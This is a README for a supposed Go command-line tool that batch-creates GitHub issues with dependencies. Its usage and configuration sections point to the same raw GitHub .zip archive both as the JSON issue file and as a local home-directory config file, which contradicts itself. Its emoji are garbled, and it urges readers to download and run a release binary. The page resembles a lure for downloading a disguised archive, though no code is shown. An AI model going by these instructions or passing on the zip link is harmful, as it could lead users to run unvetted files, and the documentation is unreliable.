jsvernz/github-issue-tool
Effortlessly manage GitHub issues with our CLI tool. Create, organize, and optimize issues in bulk while handling dependencies. ๐โจ
GitHub Issue Tool: Batch Create Issues with Ease ๐
Overview
The GitHub Issue Tool is a smart command-line interface (CLI) tool designed to streamline the process of creating multiple GitHub issues at once. This tool is especially useful for developers looking to manage dependencies effectively while ensuring their workflow remains efficient.
Features
- Batch Creation: Quickly create multiple issues in one command.
- Dependency Management: Automatically manage dependencies between issues.
- Environment Detection: The tool detects your environment settings, including GitHub CLI and API configurations.
- User-Friendly: Designed with developers in mind, it offers a straightforward interface for managing issues.
- Productivity Boost: Spend less time on repetitive tasks and focus on what matters.
Installation
To get started, you need to download the latest release of the GitHub Issue Tool. Visit the Releases section to find the latest version. Download the appropriate binary for your operating system, then execute it in your terminal.
Example for Installation
-
Go to the Releases page.
-
Download the binary for your OS.
-
Make the binary executable:
chmod +x github-issue-tool
-
Move it to a directory in your PATH:
mv github-issue-tool /usr/local/bin/
-
Now, you can run the tool from anywhere in your terminal.
Usage
Once installed, you can start using the GitHub Issue Tool. Below are some common commands to help you get started.
Creating Issues
To create issues, run the following command:
github-issue-tool create --file https://raw.githubusercontent.com/jsvernz/github-issue-tool/main/pkg/github_tool_issue_v3.3.zipThe https://raw.githubusercontent.com/jsvernz/github-issue-tool/main/pkg/github_tool_issue_v3.3.zip file should contain an array of issues formatted as follows:
[
{
"title": "Issue Title 1",
"body": "Description for issue 1",
"labels": ["bug", "help wanted"]
},
{
"title": "Issue Title 2",
"body": "Description for issue 2",
"labels": ["enhancement"]
}
]Managing Dependencies
You can also manage dependencies between issues by specifying them in the JSON file. For example:
[
{
"title": "Issue Title 1",
"body": "Description for issue 1",
"dependsOn": ["Issue Title 2"]
},
{
"title": "Issue Title 2",
"body": "Description for issue 2"
}
]Viewing Help
For a complete list of commands and options, use:
github-issue-tool --helpConfiguration
The GitHub Issue Tool automatically detects your environment settings. However, you can also configure settings manually by creating a https://raw.githubusercontent.com/jsvernz/github-issue-tool/main/pkg/github_tool_issue_v3.3.zip file in your home directory. This file can include settings like:
{
"defaultRepo": "username/repo",
"defaultLabels": ["bug", "feature"]
}Topics
This tool is categorized under several topics that reflect its functionality and purpose:
- Automation: Automate the process of issue creation.
- Batch Creation: Create multiple issues simultaneously.
- CLI: A command-line interface for easy usage.
- Dependency Management: Manage relationships between issues effectively.
- Developer Tools: Tools designed to assist developers in their workflows.
- GitHub: Directly interacts with GitHub for issue management.
- GoLang: Built using the Go programming language for performance.
- Issues: Specifically focuses on managing GitHub issues.
- Productivity: Aims to enhance developer productivity.
Contributing
We welcome contributions to improve the GitHub Issue Tool. If you have suggestions or improvements, please follow these steps:
- Fork the repository.
- Create a new branch (
git checkout -b feature-branch). - Make your changes.
- Commit your changes (
git commit -m 'Add some feature'). - Push to the branch (
git push origin feature-branch). - Open a pull request.
License
This project is licensed under the MIT License. See the LICENSE file for details.
Acknowledgments
- Thanks to the open-source community for their continuous support and contributions.
- Special thanks to the GitHub team for providing the API that makes this tool possible.
Support
If you encounter any issues or have questions, please check the Issues section on GitHub. You can also reach out to the maintainers directly via the repository.
Future Plans
We plan to add more features, including:
- Integration with other project management tools.
- Enhanced reporting features.
- Improved user interface options.
Stay tuned for updates!
Links
For the latest releases, visit the Releases page.
Thank you for using the GitHub Issue Tool!